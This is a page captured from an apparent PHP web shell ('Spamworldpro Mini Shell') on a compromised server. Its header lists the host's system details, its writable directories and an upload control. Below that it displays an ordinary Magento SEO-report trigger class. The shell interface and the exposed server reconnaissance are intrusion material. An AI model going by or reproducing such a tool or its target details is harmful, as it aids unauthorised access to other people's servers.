Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/mageworx/module-seoreports/Model/Trigger/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/mageworx/module-seoreports/Model/Trigger/CategoryReportTrigger.php
<?php
/**
 * Copyright © MageWorx. All rights reserved.
 * See LICENSE.txt for license details.
 */

namespace MageWorx\SeoReports\Model\Trigger;

use MageWorx\SeoReports\Model\GeneratorFactory;
use Magento\UrlRewrite\Service\V1\Data\UrlRewrite;
use Magento\CatalogUrlRewrite\Model\CategoryUrlRewriteGenerator;


class CategoryReportTrigger
{
    /**
     * @var \MageWorx\SeoReports\Model\Config\Category
     */
    protected $categoryConfig;

    /**
     * @var GeneratorFactory
     */
    protected $generatorFactory;

    /**
     * @var \MageWorx\SeoAll\Model\ResourceModel\Category
     */
    protected $categoryResource;

    /**
     * @var \Magento\UrlRewrite\Model\UrlFinderInterface
     */
    protected $urlFinder;

    /**
     * CategoryReportTrigger constructor.
     *
     * @param \MageWorx\SeoReports\Model\Config\Category $categoryConfig
     * @param GeneratorFactory $generatorFactory
     * @param \MageWorx\SeoAll\Model\ResourceModel\Category $category
     * @param \Magento\UrlRewrite\Model\UrlFinderInterface $urlFinder
     */
    public function __construct(
        \MageWorx\SeoReports\Model\Config\Category $categoryConfig,
        \MageWorx\SeoReports\Model\GeneratorFactory $generatorFactory,
        \MageWorx\SeoAll\Model\ResourceModel\Category $category,
        \Magento\UrlRewrite\Model\UrlFinderInterface $urlFinder
    ) {
        $this->categoryConfig   = $categoryConfig;
        $this->generatorFactory = $generatorFactory;
        $this->categoryResource = $category;
        $this->urlFinder        = $urlFinder;
    }

    /**
     * @param \Magento\Catalog\Model\Category $category
     */
    public function generateReportForNewCategory($category)
    {
        $categoryStoreIds = array_filter($category->getStoreIds());
        $requestPaths     = $this->getCategoryUrlsByStores($category, $categoryStoreIds);

        foreach ($categoryStoreIds as $storeId) {
            $requestPath = !empty($requestPaths[$storeId]) ? $requestPaths[$storeId] : null;
            $category->setData('request_path', $requestPath);
            $category->setStoreId($storeId);
            $this->getGenerator()->generate($category);
        }

        $category->setStoreId(0);
    }

    /**
     * @param \Magento\Catalog\Model\Category $category
     */
    public function generateReportForCategoryOnAllStores($category)
    {
        $fieldsForCheck = $this->getModifiedAttributes($category);

        $attributesStoreValues = [];

        foreach ($fieldsForCheck as $field) {
            /** @var \Magento\Catalog\Model\ResourceModel\Eav\Attribute $attribute */
            $attribute = $this->categoryResource->getAttribute($field);

            if ($attribute && !$attribute->getIsGlobal()) {
                $attributesStoreValues[$field] = $this->categoryResource->getAttributeValues(
                    $attribute,
                    $category->getId()
                );
            }
        }

        $dataByStores = [];

        foreach ($attributesStoreValues as $attributeName => $attributeStoreValues) {

            foreach ($category->getStoreIds() as $storeId) {

                //add new values from default scope to attributes which hasn't own values for current store view
                if (!array_key_exists($storeId, $attributeStoreValues)) {
                    $dataByStores[$storeId][$attributeName] = $category->getData($attributeName);
                }
            }
        }

        $requestPaths = $this->getCategoryUrlsByStores($category, array_filter($category->getStoreIds()));

        foreach ($dataByStores as $storeId => $data) {
            $data['id']       = $category->getId();
            $data['store_id'] = $storeId;
            $object           = new \Magento\Framework\DataObject($data);
            $requestPath      = !empty($requestPaths[$storeId]) ? $requestPaths[$storeId] : null;
            $object->setData('request_path', $requestPath);

            $this->getGenerator()->generate($object);
        }
    }

    /**
     * @param \Magento\Catalog\Model\Category $category
     */
    public function generateReportForCategoryOnSpecificStore($category)
    {
        $requestPaths = $this->getCategoryUrlsByStores($category, [$category->getStoreId()]);

        if ($requestPaths) {
            $category->setRequestPath($requestPaths[$category->getStoreId()]);
        }

        $this->getGenerator()->generate($category);
    }

    /**
     * @param \Magento\Catalog\Model\Category $category
     */
    public function regenerateReportForRemovalCategory($category)
    {
        $this->getGenerator()->regenerateByRemoval($category);
    }

    /**
     * @return \MageWorx\SeoReports\Model\Generator\CategoryReportGenerator
     */
    protected function getGenerator()
    {
        /** @var \MageWorx\SeoReports\Model\Generator\CategoryReportGenerator $generator */
        $generator = $this->generatorFactory->create('catalog_category');

        return $generator;
    }

    /**
     * @param \Magento\Catalog\Model\Category $category
     * @param int[] $stores
     * @return array
     */
    protected function getCategoryUrlsByStores($category, $stores)
    {
        $filterData = [
            UrlRewrite::ENTITY_ID        => $category->getId(),
            UrlRewrite::ENTITY_TYPE      => CategoryUrlRewriteGenerator::ENTITY_TYPE,
            UrlRewrite::IS_AUTOGENERATED => true,
        ];

        $urlRewrites = $this->urlFinder->findAllByData($filterData);

        $result = [];

        foreach ($urlRewrites as $urlRewrite) {
            $storeId = $urlRewrite->getStoreId();
            if (in_array((int)$storeId, $stores)) {
                $result[$storeId] = $urlRewrite->getRequestPath();
            }
        }

        return $result;
    }

    /**
     * @param \Magento\Catalog\Model\Category $category
     * @return array
     */
    protected function getModifiedAttributes($category)
    {
        $changedFields = [];

        foreach ($this->getFieldList() as $field) {
            if ($category->dataHasChangedFor($field)) {
                $changedFields[] = $field;
            }
        }

        return $changedFields;
    }

    /**
     * @return array
     */
    protected function getFieldList()
    {
        return $this->categoryConfig->getFieldList();
    }
}

Spamworldpro Mini